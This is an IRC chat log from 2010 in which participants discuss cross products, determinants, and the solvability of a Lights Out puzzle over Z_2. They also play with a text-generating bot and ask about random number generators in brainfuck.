23:48:02 <Deewiant> And it'd be obvious from context
23:48:18 <oerjan> fax: that thing you quoted can also be shown with finite integrals, of course
23:48:18 <AnMaster> wonderfl
23:48:21 <AnMaster> ful*
23:48:29 <fax> oerjan, yes about 4D.. I think there would be an intepretation would be done in there
23:48:41 <fax> oerjan, I proved it using finite calculus :D
23:50:35 <fax> oerjan, I want to implement symbolic finite integrator
23:50:52 <fax> (and of course I would implement differentatiion as a subroutine)
23:50:56 <fizzie> AnMaster: 2009-06-17 -- and it was about the very same bot, and the term "mirc-style" was used, and so on. We certainly are a boring lot.
23:51:12 <oerjan> there's probably a way to carve up an n*n*(n+1)*(n+1) hyper-rectangle so that each part is a cube, and there are two of each i^3 size
23:52:04 <fax> oerjan, another thing I really want to do is make a 4D (or more D..) world that you can immerse yourself in :(
23:52:04 <AnMaster> oerjan, can you tell me *why* cross product isn't defined for anything but three and (according to wikipedia) seven dimensions.
23:52:05 <oerjan> start with 1^3 in two opposite corners, perhaps
23:52:09 <fax> like a computer game typ thing
23:52:18 <AnMaster> oerjan, if the answer is reasonably simple
23:52:22 <fax> because then we could intuit 4D+
23:52:37 <fax> we have programs to visualize negatively curved 3D space
23:52:39 <fax> but that's not enoough
23:54:08 <oerjan> AnMaster: i cannot say i really understand why it's defined for seven, so...
23:54:26 <fax> oerjan, I think it's because 7 = 8+1
23:54:27 <AnMaster> oerjan, I didn't know it before checking on wikipedia
23:54:30 <oerjan> except it probably has something to do with quaternions and octonions
23:54:32 <fax> octonions
23:54:33 <fax> yes
23:54:44 <fax> the octonions book talks about it
23:54:53 <AnMaster> but yeah, why isn't cross products defined for most dimensionality?
23:55:04 -!- ais523 has quit (Remote host closed the connection).
23:55:07 * Sgeo doesn't understand quaternions, except that SL uses them to represent rotations
23:55:07 <fax> http://math.ucr.edu/home/baez/octonions/node2.html
23:55:30 <fax> Sgeo: there's not much to understrand, it's just a 4D number (like complex numbers are just 2D numbers)
23:55:33 <oerjan> AnMaster: well, you want it to be a _natural_ product, invariant under rotations
23:55:38 <AnMaster> fax, was that link to me?
23:55:43 <fax> no
23:55:45 <AnMaster> ah
23:55:56 <fax> and I meant to link this
23:55:57 <fax> http://math.ucr.edu/home/baez/octonions/node1.html
23:56:06 <AnMaster> I don't really know quaternions, except I know what they are in theory and what they are used for
23:56:08 <fax> When Gibbs invented the modern notation for the dot product and cross product, Tait condemned it as a ``hermaphrodite monstrosity''. A war of polemics ensued, with luminaries such as Heaviside weighing in on the side of vectors. Ultimately the quaternions lost, and acquired a slight taint of disgrace from which they have never fully recovered
23:56:20 <AnMaster> oerjan, oh?
23:56:44 <oerjan> AnMaster: otherwise it's really ad hoc...
23:56:47 <AnMaster> oerjan, and why does this "desire" exclude some dimensionality?
23:57:28 <AnMaster> oerjan, but let me tell you can even normal vector product "feels" somewhat ad-hoc :P
23:57:35 <fizzie> To quote without understanding the wp pahe: "The nonexistence of such cross products of two vectors in other dimensions is related to the result that the only normed division algebras are the ones with dimension 1, 2, 4, and 8."
23:57:43 <AnMaster> I know it has it's uses though
23:58:00 <AnMaster> fizzie, what the heck does that mean
23:58:05 <alise> <ais523> hmm, people here probably have a good idea: which company would you all recommend I buy domain names from, and why?
23:58:05 <alise> gandi.net
23:58:10 <alise> decent & respectable with no shit
23:58:14 <alise> but not the cheapest
23:58:33 <oerjan> AnMaster: note that the natural vector product in 3 dimensions comes from matrix determinants iirc
23:58:44 * fax doesn't have a clue what matrix determinant is...
23:59:01 <AnMaster> fax, oh? I know it
23:59:10 <AnMaster> fax, never read linear algebra
23:59:24 <AnMaster> I don't know *why* the determinant is defined as it is
23:59:37 <AnMaster> I just know how it is defined and how to use it
23:59:37 <oerjan> basically, if M is a 3*3 matrix with 3 rows v_1, v_2, v_3, then det M = (v_1 x v_2) . v_3
23:59:54 <AnMaster> oerjan, oh right.
23:59:55 <fizzie> AnMaster: It also says even more complicatedly: "The cross product exists in dimensions 3 and 7 since one can always define a multiplication on a space of one higher dimension as above, and this space can be shown to be a normed division algebra. Such algebras only exist in dimensions 1, 2, 4, and 8, and if the product is derived for 0 or 1 dimensions it is a trivial product that is identically zero. It has been proved that it only exists in 3 and 7 dimensions.[2
23:59:57 <AnMaster> forgot that
23:59:58 <alise> oh, ais disappeared
2010-03-20
00:00:08 <fax> I can compute it for 2x2 and 3x3 :P
00:00:12 <fax> and I know some of the rules
00:00:16 <fax> but that's all
00:00:16 <oerjan> in other dimensions that doesn't work unless you use (n-1) vectors to cross
00:00:54 <AnMaster> fax, I can compute it for arbitrarily large matrixes
00:01:07 <AnMaster> but I hate anything larger than 3x3
00:01:15 <AnMaster> due to the huge amount of work in it
00:01:29 <AnMaster> finding sub-determinants and so on (if that is the English term for it)
00:02:00 <AnMaster> oerjan, oh hm
00:02:22 <AnMaster> oerjan, but with n-1, how could that even work?
00:02:34 <AnMaster> oerjan, you can only take det() on a square matrix right?
00:02:59 <AnMaster> oerjan, which means that n-1 for 5 wouldn't really work out as far as I can see
00:04:56 -!- tombom has quit (Quit: Leaving).
00:05:25 <oerjan> AnMaster: you let the product of v_1, ..., v_(n-1) be the unique vector x such that det (v_1,v_2,...,v_(n-1),y = x.y for all y
00:05:36 <oerjan> *,y)
00:05:50 * AnMaster mentally converts that to math notation
00:06:02 <AnMaster> oerjan, I find it *extremely* hard to read ASCIIed math notation
00:06:12 <fizzie> But did you know that the coefficients of the characteristic polynomial of H, where H is the Hessenberg matrix from Arnoldi iteration of matrix A and vector b, turn up (with negative sign) as the last column of pinv(K)*A*K, where K is the Krylov matrix for A, b and pinv() is the "usual" pseudoinverse?
00:06:13 <oerjan> mind you i'm not sure if my definition has the right handedness
00:06:22 <oerjan> (for 3 dimensions)
00:06:37 <AnMaster> fizzie, what is pinv?
00:06:38 <oerjan> if not just switch things around a bit
00:07:01 <fizzie> I just said, the usual (Moore-Penrose?) pseudoinverse.
00:07:02 <alise> ascii math notation is easy you're just a whiner :)
00:07:14 <AnMaster> oerjan, how do you define handedness for more than 3 dimensions?
00:07:18 <fizzie> (This was a homework bit for yesterday's Matrix Computations thing.)
00:07:45 <AnMaster> fizzie, oh right
00:08:15 <oerjan> AnMaster: such that the product of e_1, e_2, ..., e_(n-1) is e_n, i presume
00:08:43 <oerjan> (e_i being the unit vector of the i'th axis)
00:09:29 <oerjan> which means my handedness above was right for 3, i think
00:10:18 <AnMaster> mhm
00:11:59 <oerjan> AnMaster: btw one intuition for determinant (which ignores the sign though) is that if you take the hypercube spanned by e_1,...,e_n (i.e. the cube with all coordinates in [0,1]) and apply a matrix M to it, then the _volume_ of the resulting hyperparallelogram is abs(det M).
00:12:17 -!- augur has joined.
00:12:53 <AnMaster> oerjan, anything involving the word "hypercube" definitely doesn't feel like related to my "intuition"
00:13:12 <oerjan> or equivalently, the hypercube spanned by vectors v_1,...,v_n has volume abs(det(v_1,...,v_n)).
00:13:23 <oerjan> AnMaster: well you can use it or 2 and 3 dimensions too
00:13:26 <oerjan> *for
00:13:33 <AnMaster> okay
00:13:36 <AnMaster> what about 1?
00:13:41 <AnMaster> well that is a trivial case I gues
00:13:46 <oerjan> yeah :D
00:14:11 <AnMaster> oerjan, so for 2x2 mat, that would be ad-bc
00:14:16 <AnMaster> but then what are the sides?
00:14:19 <oerjan> s/hypercube/hyperparallelogram/, last one
00:14:21 <AnMaster> of a rectangle?
00:14:32 <AnMaster> oh right
00:15:12 <fizzie> Isn't it pretty: http://www.cis.hut.fi/htkallas/hw7.pdf (Usually my homework answers are horrible handwaving, but this one is pretty explicit. Though that does steal a pretty complicated Theorem 9.7 out of the lecturer.)
00:15:34 <oerjan> btw hyperparallelogram is probably not the right term, although it _is_ a parallelogram in 2 dims
00:15:47 * Sgeo wants to take math courses
00:16:25 <AnMaster> fizzie, what language is that code?
00:16:33 <oerjan> AnMaster: one corner of the parallelogram is the origin. two of the others are (a,b) and (c,d), the last one is their sum
00:16:58 <AnMaster> oerjan, yeah I realised
00:17:09 <AnMaster> after you said "hyperparallelogram"
00:17:18 <fizzie> AnMaster: Matlab, and the >> is just the prompt.
00:17:24 <AnMaster> fizzie, ah
00:17:55 <fizzie> AnMaster: Or Octave, in this case, but with a Matlab prompt to make the recipient feel more at home.
00:18:13 <AnMaster> ah
00:18:14 -!- augur has quit (Ping timeout: 256 seconds).
00:18:37 <oerjan> AnMaster: ah, 3 dims is parallelepiped
00:19:02 <AnMaster> oerjan, well yes
00:19:06 <AnMaster> oerjan, didn't you know?
00:19:13 <oerjan> somehow i hadn't quite made that a household name, though i've certainly seen it :D
00:19:21 <AnMaster> oerjan, I admit however I was fuzzy on the spelling
00:19:28 <AnMaster> oerjan, but I had a math teacher mention it a lot
00:19:38 <AnMaster> during the last few weeks
00:20:25 <oerjan> "Coxeter called the generalization of a parallelepiped in higher dimensions a parallelotope."
00:20:31 <fizzie> I've got the phrase "rhombus, the neglected parallelogram!" stuck in my head, but I can't remember where I read it from.
00:20:37 <oerjan> _that_ i'm not sure i've heard
00:21:06 <AnMaster> oerjan, he also loves making a huge distinction between "geometrical vectors" and "algebraic vectors"
00:21:12 -!- MigoMipo has quit (Remote host closed the connection).
00:21:20 <AnMaster> (not sure of translations here)
00:21:48 <AnMaster> wikipedia seems to call the former http://en.wikipedia.org/wiki/Euclidean_vector
00:22:35 <Sgeo> fizzie, no chance it's Triangle and Robert, is it?
00:22:44 <fizzie> oerjan: Couldn't you just call it "paral".("le"x($dim-1))."piped"? Then you'd always have the dimension explicitly in the name.
00:23:09 <oerjan> well you _could_, but that would be evil.
00:23:26 <AnMaster> Sgeo, oh that, one of the worst strips I ever started reading and then gave up after 120 or so strips
00:23:52 <AnMaster> fizzie, how do you pronounce it?
00:24:06 <AnMaster> fizzie, and what programming language?
00:24:22 <fizzie> That was the Perl notation.
00:24:25 <AnMaster> ah
00:24:26 <oerjan> fizzie: that x should be ^ in my view
00:24:41 <oerjan> in math
00:25:17 <oerjan> also you would have to allow for $dim being a variable, and/or transfinite
00:25:20 <fizzie> Yes, but I was worried you'd think I'd just want the number there, and not actual repetitititition of lelele.
00:25:42 <AnMaster> oerjan, in math it is $*d*i*m isn't it? ;P
00:25:53 <oerjan> fizzie: not a chance to avoid that once it's generalized
00:26:08 * oerjan swats AnMaster -----###
00:26:28 -!- BeholdMyGlory has quit (Read error: Connection reset by peer).
00:26:31 <alise> AnMaster: triangle and robert is great! not that i've read much
00:26:33 <alise> but f u
00:26:51 <AnMaster> alise, we have different tastes clearly
00:26:58 <alise> well, die
00:27:02 <AnMaster> "well drawn" is not in your list :P
00:27:07 <fizzie> A Pythonist would (well, could) say "paral"+"le"*(dim-1)+"piped", I believe.
00:27:18 <AnMaster> well, not so much in mine either
00:27:36 <Sgeo> AnMaster, I loved it
00:27:37 <AnMaster> fizzie, is thyat string duplication with *?
00:27:47 <AnMaster> that*
00:28:12 <fizzie> Yes, it does string multiplication if you give a string and a number.
00:28:32 <fizzie> >>> "paral"+"le"*4+"piped"
00:28:33 <fizzie> 'parallelelelepiped'
00:28:52 <Sgeo> alise and I have the same tastes? o.O
00:29:19 <fizzie> I don't *think* it was Triangle and Robert, though; I have a feeling it was a human(oid) character in some bit of fiction.
00:29:50 <fizzie> Right, it was just an old Nukees strip: http://www.nukees.com/comics/19980318a.gif
00:30:09 <fizzie> But at least that's not well drawn either.
00:30:12 <Slereah> Algebraic!
00:31:00 <AnMaster> fizzie, heh
00:31:55 <Deewiant> On rhombuses: http://www.penny-arcade.com/comic/2009/1/9/locked-brutal-combat/
00:32:15 -!- FireFly has quit (Quit: Leaving).
00:32:35 <fizzie> Deewiant: You mean "rhombi", don't you?
00:32:47 <Deewiant> Either works.
00:32:53 <fizzie> "Pl. rhombuses (7-8 -us's); 8 rhombi." I guess they both do, yes.
00:33:09 <fizzie> But it sounds better as "rhombi", though also a bit vacuum-roboty.
00:33:16 <alise> Rhoomby.
00:33:18 <Deewiant> I had just typed "rhombus" already and it's less keypresses to add "es" than to backspace twice and add "i".
00:33:33 <fizzie> Rhoomba, the rhombus-shaped Roomba.
00:33:34 <oerjan> use rhomboi for the original greek (i think)
00:34:15 <fizzie> fungot: Have you read that particular Penny-Arcade comic, by the way?
00:34:15 <fungot> fizzie: so i says to her, though.
00:34:27 <fizzie> fungot: What does that even mean?
00:34:27 <fungot> fizzie: this is fantastic. maybe after this we can subjugate some indigenous peoples. or, the devil. you are a woman raised as a man.
00:34:42 <fizzie> Subjugating the devil sounds dangerous business.
00:34:54 <AnMaster> :D
00:35:05 <AnMaster> don't make me laugh out loud atm
00:35:10 <AnMaster> people sleeping near here
00:35:37 <oklopol> haha you're better off using your grandma as a math forum than #math
00:35:48 <oklopol> "hey wanna hear about this interesting thing i came up with?" "go fuck yourself"
00:38:13 <alise> fizzie: dammit i'm laughing because of fungot but I'm trying to look all serious
00:38:13 <fungot> alise: my guess? the bullshit. there's no shame in that. well, he hasn't been playing very well. and, i was pushing them, and then i saw something. something big.
00:38:16 <alise> daaaamn youuuuuuuuu
00:38:18 <alise> ^style
00:38:18 <fungot> Available: agora alice c64 ct darwin discworld europarl ff7 fisher ic irc jargon lovecraft nethack pa* speeches ss wp youtube
00:38:21 <alise> fungot: A penis?
00:38:21 <fungot> alise: annarchy's mother: anne claire, eat your dinner. you know, potty issues. there. he's got these friends back at the flag named earthquake and demise, right? i bet it's something bad in there.
00:39:13 <AnMaster> ^style oa
00:39:14 <fungot> Not found.
00:39:15 <AnMaster> ^style pa
00:39:15 <fungot> Selected style: pa (around 1200 transcribed Penny Arcade comics)
00:39:17 <AnMaster> ah
00:39:27 <AnMaster> ^style darwin
00:39:27 <fungot> Selected style: darwin (Books by Charles Darwin -- you know, that evilution guy)
00:39:30 <AnMaster> fungot, hi there
00:39:33 <fungot> AnMaster: he shows " page 111) that when naturalists confine their attention to agriculture, were fnord when a species has once disappeared it never reappeared.), and no doubt every female flower which i examined appeared more like a dandy than a warrior, but he has seen/ carcasses :) dead seals. wherever these slaty feldspathic rocks abound, greenstone seems common; at/ c. persica et turcica, mr. f. fnord six feet, in proporti
00:39:43 <AnMaster> smilies
00:39:45 <AnMaster> yag
00:39:50 <AnMaster> yeah*
00:40:00 <AnMaster> ^style europarl
00:40:00 <fungot> Selected style: europarl (European Parliament speeches during approx. 1996-2006)
00:40:32 <AnMaster> fungot, this should prevent alise from laughing if he wan'ts to avoid it
00:40:34 <fungot> AnMaster: mr president, ladies and gentlemen, and by the governments of both old and new member states have long since been prepared and sent to parliament.
00:40:36 <AnMaster> want's*
00:40:51 <AnMaster> fungot, stop being funny!
00:40:52 <fungot> AnMaster: i am happy to say that any such principle needs to be stressed that the guidelines in leader+ now need to be repeated. i have to say that i have already criticised the method used for each individual, which remains and will always be positive and enriching factor for europe.
00:41:09 <AnMaster> night
00:41:38 <oklopol> i was invited in this math high school thing, but i didn't go because i had a gf
00:41:39 <oklopol> ...
00:42:03 <oklopol> cuz true love is more important than math
00:42:15 <oklopol> we broke up when i started high school
00:42:27 <alise> "and no doubt every female flower which i examined appeared more like a dandy than a warrior, but he has seen/ carcasses :) dead seals." --Darwin
00:49:19 <lament> what about true math?
00:49:38 <alise> the mathematics that can be proved is not the true mathematics.
00:49:44 <alise> i.e., only the negations of proved things are true.
00:49:49 <alise> well, not only
00:51:27 <fax> lol what
00:51:33 <fax> -1 * -1 = -1
00:52:04 <fax> I wish I understood cubic truth :(
00:53:02 <Oranjer> timecube?
00:53:39 <alise> -m * -n = -(m*n) clearly
00:53:46 <Gregor> TIME CUBE IS BETTER THAN YOUR QUEER GOD
00:53:46 <alise> therefore -1 * 1 = 1
00:54:00 <Sgeo> http://i.imgur.com/SQHYl.jpg . Clicking a piece toggles the piece, and pieces orthogonally adjacent. THe goal is to get all pieces to be cylinders, or all pieces to be cones. This configuration should be solvable in 3 moves. How easy/hard are those moves to figure out? I know how to solve it given a live board, but it always takes me a while
00:55:14 <Sgeo> Also, are there any unsolvable configurations? If not, I can simplify my reset algorithm a bit. Currently, it just blanks the board and simulates 3 clicks
00:57:13 <fax> Sgeo what is this made in??
00:57:25 <fax> "Clicking a piece toggles the piece, and pieces orthogonally adjacent" -- lights out!! this game is OLD
00:57:32 <alise> some virtual world.
00:57:37 <alise> you can tell because it's sgeo and it has health meters
00:57:38 <Sgeo> It's in Active Worlds. The code for the puzzle itself is in C#
00:57:39 <alise> and shitty 3d
00:57:41 <alise> see!
00:57:46 <fax> it's idk equations in Z2
00:57:47 <Sgeo> I did not add the health meters
00:58:05 <fax> you can solve every solvable puzzle in a maximum of 9 clicks :D
00:58:08 * fax proves the trivial
00:58:09 <Sgeo> Clicking a piece doesn't toggle all pieces in a row or column
00:58:38 <Sgeo> I originally programmed it that way, since I misremembered the original game we're um, recreating
00:59:34 <oklopol> why is http://mathoverflow.net/questions/18696/how-to-write-if-else-as-mathematic-equation stupid?
00:59:51 * Sgeo feels vindicated by oklopol's question.
01:01:19 <fax> it's stupide because programs are alredy formal language
01:01:28 <fax> you don't have to turn everything into 'math'
01:01:31 <fax> it already IS
01:01:37 <alise> and because he clearly has no idea how booleans work
01:01:51 <alise> he seems to think everything as to be arithmetic
01:02:39 <oklopol> "fax: oerjan, another thing I really want to do is make a 4D (or more D..) world that you can immerse yourself in :(" <<< been wanting to do this since like forever
01:03:13 * Sgeo takes interest
01:03:26 <fax> http://eusebeia.dyndns.org/4d/vis/vis.html
01:03:31 * fax has been searching for answers
01:03:34 <pikhq> oklopol: The question is like asking "how do you write if-else in a program".
01:04:20 <pikhq> Sorry, change that.
01:04:27 <pikhq> "How do you write if-else in programming"
01:05:18 <alise> How do you shot if-else
01:06:18 <oklopol> fax: you don't know the definition of a determinant?
01:06:39 <fax> n
01:06:40 <fax> o
01:07:06 <fax> anyway definitions are overrated
01:07:19 <oerjan> Sgeo: if you can prove for each piece that there is a sequence of moves to toggle _just_ that piece, then all configurations are solvable, otherwise not.
01:07:22 <pikhq> One could, for instance, define yourself sufficiently formal psuedocode and just write "if foo then bar else baz". Or you could do that in lambda calculus. Or you could just write it as a piecewise function. Or you could do some rather clever arithmetic to get it down to a single arithmetic statement (though I doubt that's feasible with the example there)
01:07:27 <fax> if you have two equivalent characterizations of something, which one is the 'definition'?
01:07:50 <Oranjer> the one used in practice
01:08:11 <alise> pikhq: there is an easy way to switch on 0/1 arithmetically
01:08:11 <Oranjer> the one that places the term in a category of differentiated terms
01:08:11 <oerjan> because any others can be solved by combining those sequences
01:08:13 <alise> with an else clause
01:08:18 <alise> I forget the exact definition though
01:08:27 <Sgeo> I've figured out how to toggle just the middle piece
01:08:29 <pikhq> alise: Ah, right.
01:08:38 <fax> by the way I saw a really gorgeous proof using iverson notation
01:08:49 <fax> in Concrete Maths
01:08:50 <Sgeo> No, I don't think I have
01:09:05 <fax> lol oklopol has completely lost respect for me
01:09:17 <oerjan> Sgeo: oh wait you said just 3 moves? then what i said is not true. in fact it cannot be.
01:09:41 <fax> Sgeo I would think of the inverse problem
01:09:50 <fax> starting from the solution, what moves take you to a given state
01:09:52 <Sgeo> Well, if I can show that it's always solvable in X moves, that's enough
01:10:02 <oerjan> if it should always be <= 3 moves i mean
01:10:33 <Sgeo> It's just that due to the way I scramble the board, there's a solution in 3 moves for any state achievable by this scrambler
01:10:51 <oerjan> Sgeo: as fax said, 9 moves is enough for everything that can be solved
01:11:10 <lament> 9 moves should be enough for anybody
01:13:48 <Sgeo> Wait, how is that trivial?
01:14:03 <fax> Sgeo, it doesn't prove that everything has a solution
01:14:04 <oklopol> oh the question was about how you'd express if-then in math? i just read "what natural set of mathematical operations on reals can be used to compile if-thens to math?"
01:14:44 <Sgeo> But I still don't see how 9 moves is enough to solve all solvable cases
01:14:59 <fax> because if you press twice on the same place that = doing nothing
01:15:01 <oerjan> Sgeo: because you never need to click a piece twice (just cancels out), and the order you click them doesn't matter
01:15:06 <Sgeo> Oh
01:15:10 <alise> fax: ahem
01:15:15 <alise> fax: you just abused =
01:15:23 <fax> no I didn't
01:15:31 <alise> :)))
01:15:33 <alise> no more than i did
01:15:35 <oklopol> "fax: if you have two equivalent characterizations of something, which one is the 'definition'?" <<< depends on author, in this case i'd be asking for *a* definition
01:16:06 <fax> 2^9 different sets of moves you can do
01:16:10 <fax> 2^9 different boards....
01:16:22 <fax> I wonder if they are equal sets though
01:17:13 <Sgeo> If two different move sets can take you to the same board, then the answer is no, right?
01:17:22 <fax> yes
01:17:24 <oklopol> "fax: lol oklopol has completely lost respect for me" <<< i was just reading logs, i only lose respect for myself for not remembering definitions, from other people i just expect the capability to learn the matters at hand at a given time
01:17:42 <fax> I just don't really care about having a definition
01:17:49 <fax> because I know the important properties of it
01:17:56 <alise> fax: ahem
01:18:00 <alise> fax: CONSTRUCTIVISM BITCH
01:19:10 <oerjan> !haskell (9*8*7)/6 + (9*8)/2 + 9
01:19:20 <oklopol> "alise: fax: you just abused =" <<< why is it abusing the definitions, it's the relation a^2 = 1 in the abelian group of move sequences
01:19:24 <oklopol> eh
01:19:25 <oerjan> damn no egobot
01:19:27 <oklopol> "the definitions"?
01:19:30 <oklopol> "=".
01:19:46 <oklopol> my brain isn't really here, also wow i finished the log
01:19:53 <alise> oklopol: fax always whines about me abusing =
01:19:55 <oerjan> Sgeo: btw your problem can be solved with determinants
01:20:06 <oklopol> oh well i don't know much about constructivism
01:20:17 * Sgeo has worse problems than this
01:20:23 <oklopol> this issue is way more subtle than me
01:20:26 <Sgeo> I can get away with not understanding this in depth
01:20:33 <Sgeo> There's another puzzle that I can't get away with it
01:20:38 <Sgeo> :/
01:21:33 <Sgeo> Also, I don't really know what determinants are? I think something to do with matrixes and solving multiple multivariable equations?
01:21:34 <oerjan> hey i have a Determinant.hs file. let's see...
01:23:01 <oklopol> fax: if you know even a few of its basic properties, you'll probably know a definition for the determinant :P
01:24:32 <alise> oklopol: constructivism: you must actually show a value that obeys certain constraints, if you want to prove such a value exists
01:24:33 <oerjan> Sgeo: yes. if the determinant is nonzero then every equation with that matrix is solvable. it turns out your problem can be expressed as a matrix equation.
01:24:38 <alise> you do this by removing ~~p -> p. you probably know that
01:24:49 <alise> ~~p is pretty damn strong evidence for p though :P
01:25:07 <Sgeo> How can it be expressed as a matrix equation? o.O
01:26:12 <oklopol> alise: i know that much, how does that make fax's statement incorrect?
01:26:19 <oerjan> Sgeo: a 9*9 matrix. item M_i,j is 1 if pushing piece i toggles piece j, 0 otherwise.
01:27:16 <Sgeo> How can we be sure that that maps to something that determinants are sensible for?
01:27:56 <oklopol> because they are used when solving matrix equations
01:28:36 <oerjan> be patient. now make a vector v of length 9 with 0's and 1's. then M v is a vector whose i'th coordinate is odd iff pushing the pieces that are 1 in v will toggle that piece.
01:28:53 <alise> oklopol: oh i was just talking about his I don't need a definition for determinants I have the properties
01:29:10 <oklopol> ohh
01:29:16 <alise> of course a constructivist - he's one, being a dependent folken - would demand a definition before even talking about properties
01:29:23 <alise> (folken: singular of folk)
01:29:26 <oklopol> of course
01:29:27 <oerjan> (this is really a question about the field Z_2, but we can talk about odd and even instead)
01:29:34 <alise> it stands towards reason
01:29:39 <oklopol> of course to "folken"
01:29:41 <alise> ooh, geometric logic proofs!
01:30:03 <Sgeo> Where can I read tutorials about this sort of math?
01:30:25 <oerjan> Sgeo: now it happens to be that you can achieve _all_ vectors as M v in this way, iff det M is odd.
01:30:40 <oerjan> in other words all configurations are solvable iff det M is odd.
01:31:55 <oerjan> on the other if it isn't, then you can do some matrix operations to get a summary of exactly what configurations you can solve.
01:32:01 <Sgeo> What does each vector represent, exactly?
01:32:14 <oklopol> v is what buttons you push
01:32:30 <oerjan> Sgeo: the original vector v represents button pushing. 0 no, 1 yes.
01:32:41 <alise> 2 maybe
01:32:51 <alise> i should do a tri-valued logic that doesn't just have 3 = unknown it's boring
01:32:52 <oerjan> M v represents buttons toggled. odd yes, even no.
01:33:00 <Sgeo> M is basically a function that takes a vector and returns a vector?
01:33:07 <oerjan> Sgeo: yes.
01:33:42 <oklopol> then we have to solve M v = y for v, where M is the rules of the game, and y is the desired outcome (which things are circles on the board), and if det M is odd, then we can divide by M to get M v = y <==> v = M^-1 y, and now "M^-1 y" is just an ordinary vector, which is a solution for the game
01:33:53 * Sgeo is not used to struggling with math
01:34:29 <oerjan> Sgeo: incidentally if det M is odd, then we can _invert_ the matrix to get all solutions.
01:34:38 <oerjan> (inversion mod 2 here)
01:34:46 * oklopol is trying his best to ruin oerjan's explanation by shortcutting it
01:34:54 <oerjan> gah
01:34:58 <oklopol> well more like being faster i guess
01:35:05 <Sgeo> If M v's exist enough such that there's an M v for each configuration, all configurations are solvable
01:35:09 <oerjan> speed is always my problem
01:35:30 <oerjan> Sgeo: yes
01:35:48 <oerjan> well, *If v's exist
01:36:12 <Sgeo> How do you learn what an odd and even determinant means
01:36:26 <oklopol> it's not about odd/even usually, it's about nonzer/zero
01:37:03 <oklopol> it's just we're working in Z_2 here (the space with just two objects, odd and even), so zero = even, and the only nonzero object is "odd"
01:37:17 <oklopol> *nonzero
01:37:21 * Sgeo wishes he asked about a more pressing problem
01:37:28 <alise> Z_2 is also known as booleans
01:37:36 <alise> :P
01:37:37 <oklopol> oh
01:37:47 <oklopol> i would say booleans are the boolean algebra formed by those two, not the field
01:38:07 <alise> hmm i guess i see the algebra as built upon the type
01:38:08 <oklopol> or perhaps type inference will take care of that
01:38:09 <oerjan> Sgeo: determinants work in any _field_. we are really working in the field Z_2 (mod 2 arithmetic) here
01:38:18 <alise> so boolean is true | false, the algebra is all the operations
01:38:19 <oerjan> wtf
01:38:28 * oerjan swats oklopol, then himself -----###
01:38:33 <oklopol> :D
01:38:36 <Sgeo> Wait, M is just a matrix?
01:38:39 <oklopol> yes
01:38:50 <oklopol> normal matrix, but the field is Z_2 and not real numbers like usually
01:38:51 <Sgeo> I need a tutorial on this stuff
01:39:00 <Sgeo> Thought it was a function
01:39:06 <alise> 15:37:12 <pikhq> However, ((int)NULL) does not necessarily equal 0.
01:39:06 <alise> oh, so that means (int)(void*)0 doesn't have to be 0, heh
01:39:14 <Sgeo> I was like "You're dividing by a function?"
01:39:25 <oerjan> Sgeo: there is a one-one correspondence between matrices and linear functions between vectors
01:39:26 <oklopol> well it is, see matrices are in fact a representation for "linear functions", which are these simple kind of functions
01:39:30 <oklopol> :D
01:39:34 <oerjan> yay i won!
01:39:58 <oklopol> clearly only one of us is needed here
01:40:01 <oklopol> i'm going to bed
01:40:04 <Sgeo> How do you learn all this? Better yet, how can I learn all this?
01:40:11 <alise> edumacation!
01:40:14 <alise> well f*g is clearly function composition by symbol analogy
01:40:15 <oklopol> well university does wonders
01:40:21 <alise> so f/g is the reverse of function composition
01:40:31 <alise> clearly 1/f gives (g,h) where f is the composition of the two
01:40:32 <oklopol> i'd suggest reading books
01:40:34 <alise> and clearly 1=id
01:40:37 <alise> so id/f is (g,h)
01:40:39 <alise> work out the rest yourself
01:40:40 <Sgeo> No online stuff?
01:41:06 <oerjan> Sgeo: linear algebra for the matrices in general, then number theory/higher algebra for the Z_2 part
01:41:09 -!- augur has joined.
01:41:29 <oerjan> (ring/field theory from the higher algebra)
01:41:47 <oklopol> there probably is online stuff, but online tutorials for math stuff are usually only found for trivial things
01:41:52 <oklopol> this might belong in that category
01:42:42 <oklopol> well of course you can find books online but i mean these sort of quick tutorials to X you can't really find on galois cohomologies
01:42:57 <oklopol> (i have no idea what those are)
01:43:53 <oklopol> Sgeo: also read what alise said about composition, that's exactly what matrix division is, inverting the linear function represented by the matrix.
01:44:24 <oerjan> i know a bit of galois theory, and a bit of cohomology, but i have no idea how they combine...
01:44:28 <oklopol> turns out linear functions are invertible (they have normal function inverses) iff their determinant is nonzero
01:44:43 * Sgeo doesn't even recognize what "galois" is supposed to mean
01:44:52 <oklopol> it's a name
01:44:54 <oerjan> evariste galois
01:45:02 <Sgeo> oklopol, that makes a lot of sense somehow
01:45:25 <oklopol> Sgeo: yes, especially if you remember the volume definition of the determinant
01:45:37 * Sgeo still doesn't quite know what a determinant is
01:45:55 <oklopol> well it's just a function from matrices over a field to the field itself
01:46:01 <oklopol> which has a few nice properties
01:46:15 <oerjan> Sgeo: that volume thing i explained to AnMaster earlier today
01:46:20 <oklopol> in special cases like reals you have, as oerjan mentioned, interesting geometric properties too
01:46:50 * Sgeo has no clue how to even get started learning this stuff
01:47:16 <oklopol> i'd get a book on linear algebra and do exercises like crazy
01:47:16 <fax> what stuff??
01:47:29 <fax> yeah linear algebra is the best thign
01:47:33 <fax> but determinants arean't.....
01:47:49 <oklopol> nothing wrong with determinants
01:48:00 <oklopol> especially in Z_2
01:48:17 <oklopol> where you don't have any of their less useful properties, just invertibility
01:48:35 <oklopol> i mean most of the time we just need to know whether the determinant is nonzero
01:48:44 <Sgeo> I suppose none of this is related to Computer Science? Maybe I should stick with this college and Minor in math
01:48:49 <oklopol> in fact so often it would even make sense to have a separate name for such a function
01:48:59 <oklopol> or maybe that's not true, just my impression
01:49:38 <oklopol> all you need to know is learning things is related to knowing things is related to computer science
01:50:13 <oklopol> i really have to go to sleep ->
01:50:16 <Sgeo> Good night
01:50:56 * Sgeo is going to forget about everything and play a game
01:52:29 <oerjan> Sgeo: i calculate the determinant to be -7, thus odd, thus everything is solvable
01:57:31 -!- coppro has quit (Ping timeout: 246 seconds).
02:03:21 <pineapple> ok... time to get hardcore:
02:04:03 <pineapple> does anyone know of implementations of (P)RNGs in brainfuck?
02:04:57 <pineapple> or would i be better off plugging /dev/random into stdin?
02:05:37 <alise> there's a langtons ant based thing but it gives the same result every run
02:05:39 <alise> obviously
02:05:42 <alise> there's no source of entropy in bf
02:05:52 <alise> but you can use e.g. user input to seed it multiple times
02:05:58 <pineapple> except for input
02:07:31 <fax> Sgeo I'm trying to prove this lights out thing by brute force
02:07:37 <fax> I don't really know how long it will take
